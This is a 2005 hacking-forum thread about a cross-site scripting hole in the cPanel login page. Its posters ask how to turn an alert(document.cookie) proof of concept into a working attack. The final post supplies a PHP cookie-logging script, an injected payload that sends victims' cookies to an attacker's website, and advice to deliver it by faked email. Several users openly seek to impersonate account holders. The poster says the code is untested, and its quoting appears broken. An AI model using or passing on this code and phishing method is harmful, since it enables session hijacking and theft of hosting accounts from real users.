|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 43
Members: 0
Total: 43
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
A Vulnerable in cpanel |
|
Posted: Wed Jun 22, 2005 1:06 am |
|
|
Dendy |
Regular user |
|
|
Joined: Jun 20, 2005 |
Posts: 9 |
|
|
|
|
|
|
|
there is a Vulnerable:
cPanel cPanel 10.2
cPanel cPanel 9.1
cPanel cPanel 9.0
cPanel cPanel 8.0
cPanel cPanel 7.0
cPanel cPanel 6.4.2 .STABLE_48
cPanel cPanel 6.4.2
cPanel cPanel 6.4.1
cPanel cPanel 6.4
cPanel cPanel 6.2
cPanel cPanel 6.0
cPanel cPanel 5.3
cPanel cPanel 5.0
Code: | login?user=**<script>javascript:alert(document.cookie);</script> |
to use it ex.: http://www.xxxx.com:2082/login?user=**<script>javascript:alert(document.cookie);</script>
but as u can see it gives us : ( Nested quantifiers before HERE mark in regex m/^** << HERE :/ at cpsrvd.pl line 1720, line 1. )
but in the cPanel 10.2 it gives an error in different line nos
how can i modify it to use it
any help........ |
|
Last edited by Dendy on Wed Jun 22, 2005 1:19 pm; edited 2 times in total |
|
|
|
|
|
|
|
Posted: Wed Jun 22, 2005 11:02 am |
|
|
KingOfSka |
Advanced user |
|
|
Joined: Mar 13, 2005 |
Posts: 61 |
|
|
|
|
|
|
|
1st : don't post link to real site
2nd: this is not an sql injection but an XSS
3rd: if this exploit is for cpanel <= 1.8 , that site is using cpanel 10 so it wouldn't work |
|
|
|
|
Posted: Wed Jun 22, 2005 1:27 pm |
|
|
Dendy |
Regular user |
|
|
Joined: Jun 20, 2005 |
Posts: 9 |
|
|
|
|
|
|
|
sorry for putting links and thnx u dude but i put it not coz it in the site but to learn how to use it . |
|
|
|
|
Posted: Wed Jul 13, 2005 5:03 am |
|
|
theOne |
Regular user |
|
|
Joined: May 31, 2005 |
Posts: 8 |
|
|
|
|
|
|
|
Um i get a popup with the username_mysql cookie info, how can i use this tho? or how can I copy this so I can use it with httpd and send the info thus making cpanel think i'm the username? |
|
|
|
|
|
Cpan vul |
|
Posted: Thu Jul 14, 2005 12:30 pm |
|
|
neo_hack |
Regular user |
|
|
Joined: Jul 04, 2005 |
Posts: 6 |
|
|
|
|
|
|
|
Any idea how to rewrite it and make it work ? |
|
|
|
|
|
a solve |
|
Posted: Tue Aug 30, 2005 3:20 am |
|
|
kingasawa |
Beginner |
|
|
Joined: May 20, 2004 |
Posts: 1 |
|
|
|
|
|
|
|
i know a way for exploiting that bug ...
1/creat a file kingasawa.php with source code :
Code: | <?php
define ("LINE", "\r\n");
define ("HTML_LINE", "<br>");
function getvars($arr, $title)
{
$res = "";
$len = count($arr);
if ($len>0)
{
if (strlen($title)>0)
{
print("[--------$title--------]" . HTML_LINE);
$res .= "[--------$title--------]" . LINE;
}
foreach ($arr as $key => $value)
{
print("[$key]" . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= "[$ key]" . LINE . $arr[$key] . LINE;
}
}
return $res;
}
$now = date("Y-m-d H : i : s ");
$myData = "[-----$now-----]" . LINE;
$myData .= getvars($HTTP_GET_VARS, "");
// ten file ma cookie se luu vao
$file = "cookie.txt";
$mode = "r+";
if (!file_exists($file))
$mode = "w+";
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
?> |
after that , u can fake email for sending to ur victim with content
Code: | http://www.victim.com:2082/login?user=**<script>document.write(http://your-website/cookie.php?docs='+escape(document.cookie)+')</script>
and u creat a file cookie.txt for saving that cookie ...
----------
i haven't checked it .... correct me if wrong :P
|
|
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|